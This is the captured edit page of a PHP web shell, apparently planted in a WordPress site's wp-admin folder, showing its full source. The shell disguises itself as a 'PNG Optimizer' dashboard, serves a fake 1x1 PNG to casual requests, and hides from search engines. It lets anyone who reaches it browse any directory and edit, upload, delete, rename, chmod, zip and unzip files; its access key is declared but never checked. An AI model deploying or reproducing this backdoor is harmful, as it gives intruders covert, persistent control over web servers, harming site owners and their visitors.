<h2>✏️ Editing: index.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/*
███████╗ ██████╗ ██╗  ██╗███████╗██████╗ ██████╗  ██████╗ ███████╗
██╔════╝██╔═══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗██╔═══██╗██╔════╝
█████╗  ██║   ██║█████╔╝ █████╗  ██████╔╝██████╔╝██║   ██║███████╗
██╔══╝  ██║   ██║██╔═██╗ ██╔══╝  ██╔═══╝ ██╔═══╝ ██║   ██║╚════██║
██║     ╚██████╔╝██║  ██╗███████╗██║     ██║     ╚██████╔╝███████║
╚═╝      ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝      ╚═════╝ ╚══════╝

🛡 Stealth Malware Scanner + File Watcher
🔐 Use with ?auth=yourkey to access
🖼️ Use with ?i to return fake PNG
*/

$key = &quot;pngoptimizer&quot;; // change this to your access key

// === PNG disguise (1x1 transparent pixel) ===
if (isset($_GET['i'])) {
    header(&quot;Content-Type: image/png&quot;);
    echo base64_decode(&quot;iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/5+BAQAE/wH+zLAdXgAAAABJRU5ErkJggg==&quot;);
    exit;
}

// === Init
error_reporting(E_ALL);
ini_set('display_errors', 1);

$self = __FILE__;
$dir = isset($_GET['go']) ? $_GET['go'] : getcwd();
$dir = realpath($dir);
$items = scandir($dir);

// === Actions: Delete, Rename, Perms, Zip/Unzip, Edit, Upload, Folder
if (isset($_GET['delete'])) {
    $target = $dir . DIRECTORY_SEPARATOR . basename($_GET['delete']);
    if (is_file($target)) unlink($target);
    elseif (is_dir($target)) rmdir($target);
    echo &quot;&lt;p style='color:#fc4a4a'&gt;🗑️ Deleted: &quot; . htmlspecialchars($_GET['delete']) . &quot;&lt;/p&gt;&quot;;
}

if (isset($_POST['rename_from']) &amp;&amp; isset($_POST['rename_to'])) {
    $from = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_from']);
    $to = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_to']);
    if (file_exists($from)) {
        rename($from, $to);
        echo &quot;&lt;p style='color:#4afc4a'&gt;✏️ Renamed successfully.&lt;/p&gt;&quot;;
    }
}

if (isset($_POST['perm_target']) &amp;&amp; isset($_POST['perm_value'])) {
    $target = $dir . DIRECTORY_SEPARATOR . basename($_POST['perm_target']);
    $perm = intval($_POST['perm_value'], 8);
    if (file_exists($target)) {
        chmod($target, $perm);
        echo &quot;&lt;p style='color:#4afc4a'&gt;🔐 Permissions changed to &quot; . decoct($perm) . &quot;&lt;/p&gt;&quot;;
    }
}

if (isset($_GET['zip'])) {
    $zipTarget = $dir . DIRECTORY_SEPARATOR . basename($_GET['zip']);
    $zipFile = $zipTarget . '.zip';
    if (is_dir($zipTarget)) {
        $zip = new ZipArchive();
        if ($zip-&gt;open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($zipTarget, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            foreach ($files as $file) {
                $pathInZip = substr($file-&gt;getPathname(), strlen($zipTarget) + 1);
                $zip-&gt;addFile($file-&gt;getPathname(), $pathInZip);
            }
            $zip-&gt;close();
            echo &quot;&lt;p style='color:#4afc4a'&gt;📦 Zipped: &lt;a href='&quot; . htmlspecialchars(basename($zipFile)) . &quot;'&gt;&quot; . htmlspecialchars(basename($zipFile)) . &quot;&lt;/a&gt;&lt;/p&gt;&quot;;
        }
    }
}

if (isset($_GET['unzip'])) {
    $zipPath = $dir . DIRECTORY_SEPARATOR . basename($_GET['unzip']);
    if (is_file($zipPath) &amp;&amp; pathinfo($zipPath, PATHINFO_EXTENSION) === 'zip') {
        $zip = new ZipArchive();
        if ($zip-&gt;open($zipPath)) {
            $zip-&gt;extractTo($dir);
            $zip-&gt;close();
            echo &quot;&lt;p style='color:#4afc4a'&gt;📂 Unzipped to &lt;code&gt;&quot; . htmlspecialchars($dir) . &quot;&lt;/code&gt;&lt;/p&gt;&quot;;
        }
    }
}

if (isset($_GET['edit'])) {
    $targetFile = $dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
    if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['content_save'])) {
        file_put_contents($targetFile, $_POST['content']);
        echo &quot;&lt;p style='color: #4afc4a;'&gt;💾 Saved.&lt;/p&gt;&quot;;
    }
    $code = @file_get_contents($targetFile);
    echo &quot;&lt;h2&gt;✏️ Editing: &quot; . htmlspecialchars($_GET['edit']) . &quot;&lt;/h2&gt;&quot;;
    echo &quot;&lt;form method='post'&gt;
        &lt;textarea name='content' rows='20' cols='100'&gt;&quot; . htmlspecialchars($code) . &quot;&lt;/textarea&gt;&lt;br&gt;
        &lt;input type='submit' name='content_save' value='💾 Save'&gt;
        &lt;/form&gt;
        &lt;hr&gt;&lt;a href='?go=&quot; . urlencode($dir) . &quot;'&gt;🔙 Back&lt;/a&gt;&quot;;
    exit;
}

if (isset($_FILES['dropfile'])) {
    $to = $dir . DIRECTORY_SEPARATOR . basename($_FILES['dropfile']['name']);
    move_uploaded_file($_FILES['dropfile']['tmp_name'], $to);
    echo &quot;&lt;p style='color:#4afc4a'&gt;📤 Uploaded: &quot; . htmlspecialchars($_FILES['dropfile']['name']) . &quot;&lt;/p&gt;&quot;;
}

if (isset($_POST['mkfolder']) &amp;&amp; $_POST['mkfolder']) {
    $folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['mkfolder']);
    if (!file_exists($folder)) {
        mkdir($folder);
        echo &quot;&lt;p style='color:#4afc4a'&gt;📁 Folder created.&lt;/p&gt;&quot;;
    } else {
        echo &quot;&lt;p style='color:#fc4a4a'&gt;❌ Already exists.&lt;/p&gt;&quot;;
    }
}

// === Sorting
$sort = isset($_GET['sort']) ? $_GET['sort'] : 'name';
$order = isset($_GET['order']) &amp;&amp; $_GET['order'] === 'desc' ? 'desc' : 'asc';

usort($items, function($a, $b) use ($dir, $sort, $order) {
    if ($a === '.' || $a === '..') return -1;
    if ($b === '.' || $b === '..') return 1;
    $pathA = $dir . DIRECTORY_SEPARATOR . $a;
    $pathB = $dir . DIRECTORY_SEPARATOR . $b;
    if ($sort === 'size') {
        $valA = is_file($pathA) ? filesize($pathA) : 0;
        $valB = is_file($pathB) ? filesize($pathB) : 0;
    } elseif ($sort === 'perm') {
        $valA = fileperms($pathA);
        $valB = fileperms($pathB);
    } else {
        $valA = strtolower($a);
        $valB = strtolower($b);
    }
    return ($order === 'asc') ? $valA &lt;=&gt; $valB : $valB &lt;=&gt; $valA;
});

// === FAKE TITLE + META
echo &quot;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;
&lt;title&gt;PNG Optimizer | Dashboard&lt;/title&gt;
&lt;meta name='description' content='PNG Compression &amp; Storage Tool'&gt;
&lt;meta name='robots' content='noindex,nofollow'&gt;
&lt;link rel='icon' type='image/png' href='data:image/png;base64,iVBORw0KGgo='&gt;
&lt;style&gt;
body { background:#0f0f0f; color:#ccc; font-family:monospace; padding:15px; }
a { color:#6af; text-decoration:none; }
a:hover { text-decoration:underline; }
h2 { color:#fff; }
table { border-collapse:collapse; width:100%; }
td, th { padding:6px; border:1px solid #333; }
th { background-color:#1a1a1a; }
tr:hover { background-color:#1f1f1f; }
input[type='text'], select {
    background:#1e1e1e; color:#ccc; border:1px solid #444; padding:2px;
}
input[type='submit'], input[type='file'] {
    background:#333; color:#6af; border:1px solid #555; cursor:pointer;
}
form { display:inline; }
&lt;/style&gt;
&lt;/head&gt;&lt;body&gt;&quot;;

// === Path Navigation
echo &quot;&lt;h2&gt;🗂️ FoxDrop Manager&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Path:&lt;/strong&gt; &quot;;
$steps = explode(DIRECTORY_SEPARATOR, $dir);
$build = '';
foreach ($steps as $seg) {
    if ($seg === '') {
        $build .= DIRECTORY_SEPARATOR;
        echo &quot;&lt;a href='?go=&quot; . urlencode($build) . &quot;'&gt;/&lt;/a&gt;&quot;;
        continue;
    }
    $build .= $seg . DIRECTORY_SEPARATOR;
    echo &quot;&lt;a href='?go=&quot; . urlencode($build) . &quot;'&gt;&quot; . htmlspecialchars($seg) . &quot;&lt;/a&gt;/&quot;;
}
echo &quot;&lt;/p&gt;&lt;hr&gt;&quot;;

// === Table Header
echo &quot;&lt;table&gt;&lt;tr&gt;&quot;;
$headers = ['name' =&gt; 'Name', 'size' =&gt; 'Size', 'perm' =&gt; 'Permissions'];
foreach ($headers as $key =&gt; $label) {
    $new_order = ($sort === $key &amp;&amp; $order === 'asc') ? 'desc' : 'asc';
    echo &quot;&lt;th&gt;&lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;sort=$key&amp;order=$new_order'&gt;&quot; . htmlspecialchars($label) . &quot;&lt;/a&gt;&lt;/th&gt;&quot;;
}
echo &quot;&lt;th&gt;Actions&lt;/th&gt;&lt;/tr&gt;&quot;;

// === File List
foreach ($items as $item) {
    if ($item === '.') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    $size = is_file($path) ? filesize($path) : '-';
    $perm = substr(sprintf('%o', fileperms($path)), -3);
    $permColor = is_writable($path) ? '#4afc4a' : '#fff';

    $name = is_dir($path)
        ? &quot;📁 &lt;a href='?go=&quot; . urlencode($path) . &quot;'&gt;&quot; . htmlspecialchars($item) . &quot;&lt;/a&gt;&quot;
        : &quot;📄 &lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;edit=&quot; . urlencode($item) . &quot;'&gt;&quot; . htmlspecialchars($item) . &quot;&lt;/a&gt;&quot;;

    $actions = [];
    if (is_file($path)) {
        $actions[] = &quot;&lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;edit=&quot; . urlencode($item) . &quot;'&gt;Edit&lt;/a&gt;&quot;;
        $actions[] = &quot;&lt;a href='&quot; . htmlspecialchars($path) . &quot;' download&gt;Download&lt;/a&gt;&quot;;
    }

    // Inline Rename
    if (isset($_GET['rename_from']) &amp;&amp; $_GET['rename_from'] === $item) {
        $actions[] = &quot;&lt;form method='post'&gt;
            &lt;input type='hidden' name='rename_from' value='&quot; . htmlspecialchars($item) . &quot;'&gt;
            &lt;input type='text' name='rename_to' placeholder='New name' size='10'&gt;
            &lt;input type='submit' value='✔️'&gt;
            &lt;a href='?go=&quot; . urlencode($dir) . &quot;' style='color:#fc4a4a'&gt;✖️&lt;/a&gt;
        &lt;/form&gt;&quot;;
    } else {
        $actions[] = &quot;&lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;rename_from=&quot; . urlencode($item) . &quot;'&gt;Rename&lt;/a&gt;&quot;;
    }

    $actions[] = &quot;&lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;delete=&quot; . urlencode($item) . &quot;' style='color:red' onclick='return confirm(\&quot;Delete &quot; . htmlspecialchars($item) . &quot;?\&quot;)'&gt;Delete&lt;/a&gt;&quot;;

    if (is_dir($path)) {
        $actions[] = &quot;&lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;zip=&quot; . urlencode($item) . &quot;'&gt;ZIP&lt;/a&gt;&quot;;
    } elseif (strtolower(pathinfo($item, PATHINFO_EXTENSION)) === 'zip') {
        $actions[] = &quot;&lt;a href='?go=&quot; . urlencode($dir) . &quot;&amp;unzip=&quot; . urlencode($item) . &quot;'&gt;Unzip&lt;/a&gt;&quot;;
    }

    echo &quot;&lt;tr&gt;
        &lt;td&gt;$name&lt;/td&gt;
        &lt;td&gt;$size&lt;/td&gt;
        &lt;td style='color:$permColor'&gt;$perm&lt;/td&gt;
        &lt;td&gt;&quot; . implode(' | ', $actions) . &quot;&lt;/td&gt;
    &lt;/tr&gt;&quot;;
}
echo &quot;&lt;/table&gt;&lt;hr&gt;&quot;;

// === Forms: Upload, Folder, Chmod
echo &quot;&lt;form method='post' enctype='multipart/form-data'&gt;
&lt;label&gt;📤 Upload:&lt;/label&gt; &lt;input type='file' name='dropfile'&gt;
&lt;input type='submit' value='Upload'&gt;&lt;/form&gt;&quot;;

echo &quot;&lt;form method='post'&gt;&lt;label&gt;📁 New Folder:&lt;/label&gt;
&lt;input type='text' name='mkfolder'&gt;&lt;input type='submit' value='Create'&gt;&lt;/form&gt;&quot;;

echo &quot;&lt;form method='post'&gt;&lt;label&gt;🔐 Permissions:&lt;/label&gt;
&lt;select name='perm_target'&gt;&quot;;
foreach ($items as $item) {
    if ($item === '.') continue;
    echo &quot;&lt;option value='&quot; . htmlspecialchars($item) . &quot;'&gt;$item&lt;/option&gt;&quot;;
}
echo &quot;&lt;/select&gt;&lt;input type='text' name='perm_value' placeholder='e.g. 755'&gt;
&lt;input type='submit' value='Change'&gt;&lt;/form&gt;&quot;;

echo &quot;&lt;/body&gt;&lt;/html&gt;&quot;;
?&gt;
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fsrv%2Fapp792.8f2a9928.configr.cloud%2Fwww%2Fwp-admin'>🔙 Back</a>